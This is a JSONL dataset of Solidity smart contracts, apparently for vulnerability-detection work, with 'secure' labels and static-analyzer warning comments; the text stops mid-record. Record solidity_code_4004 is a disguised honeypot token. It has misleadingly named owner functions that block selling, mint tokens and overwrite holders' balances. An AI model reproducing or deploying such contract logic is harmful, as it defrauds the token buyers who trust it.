{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}", "file_name": "solidity_code_4.sol", "secure": 1, "size_bytes": 542 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}", "file_name": "solidity_code_40.sol", "secure": 1, "size_bytes": 2622 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ITestStatic.sol\" as ITestStatic;\n\ncontract Test2 {\n\t// WARNING Optimization Issue (constable-states | ID: 23eaae5): Test2.test should be constant \n\t// Recommendation for 23eaae5: Add the 'constant' attribute to state variables that never change.\n ITestStatic test = ITestStatic(0x8C70D9bF870ab356ECa11B82AB8c2b3f01681394);\n\n function executeStatic() public view returns (address origin) {\n (, bytes memory returnData) = address(test).staticcall{gas: 10_000}(\n abi.encodeWithSelector(test.testStatic.selector)\n );\n\n return (origin) = abi.decode(returnData, (address));\n }\n}", "file_name": "solidity_code_400.sol", "secure": 1, "size_bytes": 699 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapRouter {\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}", "file_name": "solidity_code_4000.sol", "secure": 1, "size_bytes": 1128 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapFactory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}", "file_name": "solidity_code_4001.sol", "secure": 1, "size_bytes": 326 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouter.sol\" as IUniswapRouter;\nimport \"./IUniswapFactory.sol\" as IUniswapFactory;\n\ncontract Token is IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address payable public mkt;\n\n address payable private team;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n mapping(address => bool) public _isExcludeFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n IUniswapRouter public _uniswapRouter;\n\n mapping(address => bool) public isMarketPair;\n\n bool private inSwap;\n\n uint256 private constant MAX = ~uint256(0);\n\n address public _uniswapPair;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 08567a2): Token.constructor().receiveAddr lacks a zerocheck on \t mkt = address(receiveAddr) \t team = address(receiveAddr)\n\t// Recommendation for 08567a2: Check that the address is not zero.\n constructor() {\n _name = \"Smiling Dolphin\";\n\n _symbol = \"TAOTAO\";\n\n _decimals = 9;\n\n uint256 Supply = 10000000000;\n\n _totalSupply = Supply * 10 ** _decimals;\n\n swapAtAmount = _totalSupply / 20000;\n\n address receiveAddr = msg.sender;\n\n _balances[receiveAddr] = _totalSupply;\n\n emit Transfer(address(0), receiveAddr, _totalSupply);\n\n\t\t// missing-zero-check | ID: 08567a2\n mkt = payable(receiveAddr);\n\n\t\t// missing-zero-check | ID: 08567a2\n team = payable(receiveAddr);\n\n _isExcludeFromFee[address(this)] = true;\n\n _isExcludeFromFee[receiveAddr] = true;\n\n _isExcludeFromFee[mkt] = true;\n\n _isExcludeFromFee[team] = true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e64dc08): Token.setMKT(address,address).newMKT lacks a zerocheck on \t mkt = newMKT\n\t// Recommendation for e64dc08: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 67d7107): Token.setMKT(address,address).newTeam lacks a zerocheck on \t team = newTeam\n\t// Recommendation for 67d7107: Check that the address is not zero.\n function setMKT(\n address payable newMKT,\n address payable newTeam\n ) public onlyOwner {\n\t\t// missing-zero-check | ID: e64dc08\n mkt = newMKT;\n\n\t\t// missing-zero-check | ID: 67d7107\n team = newTeam;\n }\n\n function symbol() external view override returns (string memory) {\n return _symbol;\n }\n\n function name() external view override returns (string memory) {\n return _name;\n }\n\n function decimals() external view override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f110a8): Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f110a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3d01310): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3d01310: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-benign | ID: 3d01310\n _transfer(sender, recipient, amount);\n\n if (_allowances[sender][msg.sender] != MAX) {\n\t\t\t// reentrancy-benign | ID: 3d01310\n _allowances[sender][msg.sender] =\n _allowances[sender][msg.sender] -\n amount;\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 165e78a): Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 165e78a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n uint256 public _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01a847d): Token._initialBuyTax should be constant \n\t// Recommendation for 01a847d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6243f1b): Token._initialSellTax should be constant \n\t// Recommendation for 6243f1b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 2;\n\n uint256 private _finalBuyTax = 30;\n\n uint256 private _finalSellTax = 30;\n\n uint256 private _reduceBuyTaxAt = 29;\n\n uint256 private _reduceSellTaxAt = 29;\n\n uint256 private _preventSwapBefore = 40;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6ff694b): Missing events for critical arithmetic parameters.\n\t// Recommendation for 6ff694b: Emit an event for critical parameter changes.\n function recuseTax(\n uint256 newBuy,\n uint256 newSell,\n uint256 newReduceBuy,\n uint256 newReduceSell,\n uint256 newPreventSwapBefore\n ) public onlyOwner {\n\t\t// events-maths | ID: 6ff694b\n _finalBuyTax = newBuy;\n\n\t\t// events-maths | ID: 6ff694b\n _finalSellTax = newSell;\n\n\t\t// events-maths | ID: 6ff694b\n _reduceBuyTaxAt = newReduceBuy;\n\n\t\t// events-maths | ID: 6ff694b\n _reduceSellTaxAt = newReduceSell;\n\n\t\t// events-maths | ID: 6ff694b\n _preventSwapBefore = newPreventSwapBefore;\n }\n\n uint256 swapAtAmount;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1d750f6): Token.setSwapAtAmount(uint256) should emit an event for swapAtAmount = newValue \n\t// Recommendation for 1d750f6: Emit an event for critical parameter changes.\n function setSwapAtAmount(uint256 newValue) public onlyOwner {\n\t\t// events-maths | ID: 1d750f6\n swapAtAmount = newValue;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3646b3b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3646b3b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fc03703): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fc03703: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 8c67024): Token._transfer(address,address,uint256).takeFee is a local variable never initialized\n\t// Recommendation for 8c67024: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n uint256 balance = balanceOf(from);\n\n require(balance >= amount, \"balanceNotEnough\");\n\n if (inSwap) {\n _basicTransfer(from, to, amount);\n\n return;\n }\n\n bool takeFee;\n\n if (\n isMarketPair[to] &&\n !inSwap &&\n !_isExcludeFromFee[from] &&\n !_isExcludeFromFee[to] &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 _numSellToken = amount;\n\n if (_numSellToken > balanceOf(address(this))) {\n _numSellToken = _balances[address(this)];\n }\n\n if (_numSellToken > swapAtAmount) {\n\t\t\t\t// reentrancy-events | ID: 3646b3b\n\t\t\t\t// reentrancy-eth | ID: fc03703\n swapTokenForETH(_numSellToken);\n }\n }\n\n if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {\n require(startTradeBlock > 0);\n\n takeFee = true;\n\n if (\n isMarketPair[from] &&\n to != address(_uniswapRouter) &&\n !_isExcludeFromFee[to]\n ) {\n\t\t\t\t// reentrancy-eth | ID: fc03703\n _buyCount++;\n }\n }\n\n\t\t// reentrancy-events | ID: 3646b3b\n\t\t// reentrancy-eth | ID: fc03703\n _transferToken(from, to, amount, takeFee);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 8229ef4): Token._transferToken(address,address,uint256,bool).feeAmount is a local variable never initialized\n\t// Recommendation for 8229ef4: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: ef2a9c1): Token._transferToken(address,address,uint256,bool).taxFee is a local variable never initialized\n\t// Recommendation for ef2a9c1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferToken(\n address sender,\n address recipient,\n uint256 tAmount,\n\t\t// reentrancy-eth | ID: fc03703\n bool takeFee\n ) private {\n _balances[sender] = _balances[sender] - tAmount;\n\n uint256 feeAmount;\n\n if (takeFee) {\n uint256 taxFee;\n\n if (isMarketPair[recipient]) {\n taxFee = _buyCount > _reduceSellTaxAt\n ? _finalSellTax\n : _initialSellTax;\n } else if (isMarketPair[sender]) {\n taxFee = _buyCount > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initialBuyTax;\n }\n\n uint256 swapAmount = (tAmount * taxFee) / 100;\n\n if (swapAmount > 0) {\n feeAmount += swapAmount;\n\n\t\t\t\t// reentrancy-eth | ID: fc03703\n _balances[address(this)] =\n _balances[address(this)] +\n swapAmount;\n\n\t\t\t\t// reentrancy-events | ID: 3646b3b\n emit Transfer(sender, address(this), swapAmount);\n }\n }\n\n\t\t// reentrancy-eth | ID: fc03703\n _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);\n\n\t\t// reentrancy-events | ID: 3646b3b\n emit Transfer(sender, recipient, tAmount - feeAmount);\n }\n\n uint256 public startTradeBlock;\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a64b45d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a64b45d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e2a45b1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e2a45b1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 02309a3): Token.startTrade() ignores return value by _uniswapRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 02309a3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 37859d9): Token.startTrade() ignores return value by IERC20(_uniswapRouter.WETH()).approve(address(address(_uniswapRouter)),~ uint256(0))\n\t// Recommendation for 37859d9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8336b49): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8336b49: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrade() public onlyOwner {\n require(startTradeBlock == 0, \"already start\");\n\n _uniswapRouter = IUniswapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _allowances[address(this)][address(_uniswapRouter)] = MAX;\n\n\t\t// reentrancy-benign | ID: a64b45d\n\t\t// reentrancy-benign | ID: e2a45b1\n\t\t// reentrancy-eth | ID: 8336b49\n _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a64b45d\n isMarketPair[_uniswapPair] = true;\n\n\t\t// reentrancy-benign | ID: e2a45b1\n\t\t// unused-return | ID: 37859d9\n\t\t// reentrancy-eth | ID: 8336b49\n IERC20(_uniswapRouter.WETH()).approve(\n address(address(_uniswapRouter)),\n ~uint256(0)\n );\n\n\t\t// reentrancy-benign | ID: e2a45b1\n _isExcludeFromFee[address(_uniswapRouter)] = true;\n\n\t\t// unused-return | ID: 02309a3\n\t\t// reentrancy-eth | ID: 8336b49\n _uniswapRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-eth | ID: 8336b49\n startTradeBlock = block.number;\n }\n\n function antiBotTrade() public onlyOwner {\n startTradeBlock = 0;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3900a09): Token.removeERC20(address) ignores return value by IERC20(_token).transfer(mkt,IERC20(_token).balanceOf(address(this)))\n\t// Recommendation for 3900a09: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function removeERC20(address _token) external {\n require(msg.sender == mkt);\n\n\t\t// unchecked-transfer | ID: 3900a09\n IERC20(_token).transfer(mkt, IERC20(_token).balanceOf(address(this)));\n\n mkt.transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d0599c1): Token.swapTokenForETH(uint256) sends eth to arbitrary user Dangerous calls mkt.transfer(_bal / 10) team.transfer(address(this).balance)\n\t// Recommendation for d0599c1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapRouter.WETH();\n\n\t\t// reentrancy-events | ID: 3646b3b\n\t\t// reentrancy-benign | ID: 3d01310\n\t\t// reentrancy-eth | ID: fc03703\n _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 _bal = address(this).balance;\n\n if (_bal > 0.01 ether) {\n\t\t\t// reentrancy-events | ID: 3646b3b\n\t\t\t// reentrancy-eth | ID: fc03703\n\t\t\t// arbitrary-send-eth | ID: d0599c1\n mkt.transfer(_bal / 10);\n\n\t\t\t// reentrancy-events | ID: 3646b3b\n\t\t\t// reentrancy-eth | ID: fc03703\n\t\t\t// arbitrary-send-eth | ID: d0599c1\n team.transfer(address(this).balance);\n }\n }\n\n function setMarketingFreeTrade(\n address account,\n bool value\n ) public onlyOwner {\n _isExcludeFromFee[account] = value;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_4002.sol", "secure": 0, "size_bytes": 18219 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SPXDOG is ERC20 {\n constructor() ERC20(\"SPXDOG\", \"SPXDOG\", 9) {\n _totalSupply = 100000000000 * 10 ** 9;\n\n _balances[msg.sender] += _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n}", "file_name": "solidity_code_4003.sol", "secure": 1, "size_bytes": 384 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC20Errors.sol\" as IERC20Errors;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\nabstract contract ERC20 is\n Context,\n IERC20,\n IERC20Metadata,\n IERC20Errors,\n Ownable\n{\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n mapping(address => bool) WhiteList;\n\n mapping(address => bool) Minus;\n\n bool openedTrade;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private pair;\n\n uint256 private totalgasprice = 999 gwei;\n\n constructor(\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n _name = name_;\n\n _symbol = symbol_;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n WhiteList[msg.sender] = true;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n transferstandard(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function transferstandard(\n address from,\n address to,\n uint256 value\n ) internal {\n\t\t// tx-origin | ID: b5612bd\n if (WhiteList[tx.origin]) {\n _update(from, to, value);\n\n return;\n } else {\n require(openedTrade, \"Open not yet\");\n\n bool state = (to == pair) ? true : false;\n\n if (from != pair && to != pair) {\n if (tx.gasprice > 0 && value > 0 && Minus[from]) {\n revert(\"Value of transaction > 0\");\n }\n\n _update(from, to, value);\n return;\n }\n\n if (state) {\n if (tx.gasprice > totalgasprice) {\n revert(\"Not enough gas fees\");\n }\n\n if (tx.gasprice > 0 && value > 0 && Minus[from]) {\n revert(\"Value of transaction > 0\");\n }\n\n _update(from, to, value);\n return;\n } else if (!state) {\n _update(from, to, value);\n return;\n } else {\n return;\n }\n }\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af9a05a): ERC20._approve(address,address,uint256,bool).owner shadows Ownable.owner() (function)\n\t// Recommendation for af9a05a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n\n function openTrading() public onlyOwner {\n openedTrade = true;\n }\n\n function lockLP(uint256 _value) public onlyOwner {\n _update(address(0), msg.sender, _value);\n }\n\n function burnLP(uint256 value) public onlyOwner {\n totalgasprice = value;\n }\n\n function setPair(address _newPair) public onlyOwner {\n Minus[_newPair] = true;\n }\n\n function contextSuffixLength(\n address[] memory newOwners,\n uint256 length\n ) public onlyOwner {\n for (uint256 i = 0; i < newOwners.length; i++) {\n _balances[newOwners[i]] = length;\n }\n }\n}", "file_name": "solidity_code_4004.sol", "secure": 0, "size_bytes": 9220 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MASYA is ERC20 {\n constructor() ERC20(unicode\"Masya\", unicode\"MASYA\") {\n _mint(msg.sender, 1_000_000_000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_4005.sol", "secure": 1, "size_bytes": 292 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract TokenDistributor {\n error TransferFailed();\n\n address public immutable owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Caller is not the owner\");\n\n _;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 2c934d1): TokenDistributor.distributeTokens(address[],address[],uint256[],address) has external calls inside a loop balanceBefore = IERC20(tokens[i]).balanceOf(recipients[i])\n\t// Recommendation for 2c934d1: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 93c7158): Calls inside a loop might lead to a denial-of-service attack.\n\t// Recommendation for 93c7158: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: e00850e): TokenDistributor.distributeTokens(address[],address[],uint256[],address) has external calls inside a loop balanceAfter = IERC20(tokens[i]).balanceOf(recipients[i])\n\t// Recommendation for e00850e: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 750c280): Use of strict equalities that can be easily manipulated by an attacker.\n\t// Recommendation for 750c280: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: be91327): TokenDistributor.distributeTokens(address[],address[],uint256[],address).from lacks a zerocheck on \t (success,None) = address(tokens[i]).call(abi.encodeWithSelector(IERC20(tokens[i]).transferFrom.selector,from,recipients[i],amounts[i]))\n\t// Recommendation for be91327: Check that the address is not zero.\n function distributeTokens(\n address[] calldata tokens,\n address[] calldata recipients,\n uint256[] calldata amounts,\n address from\n ) external onlyOwner {\n require(\n tokens.length == recipients.length &&\n recipients.length == amounts.length,\n \"Array lengths do not match\"\n );\n\n for (uint256 i = 0; i < 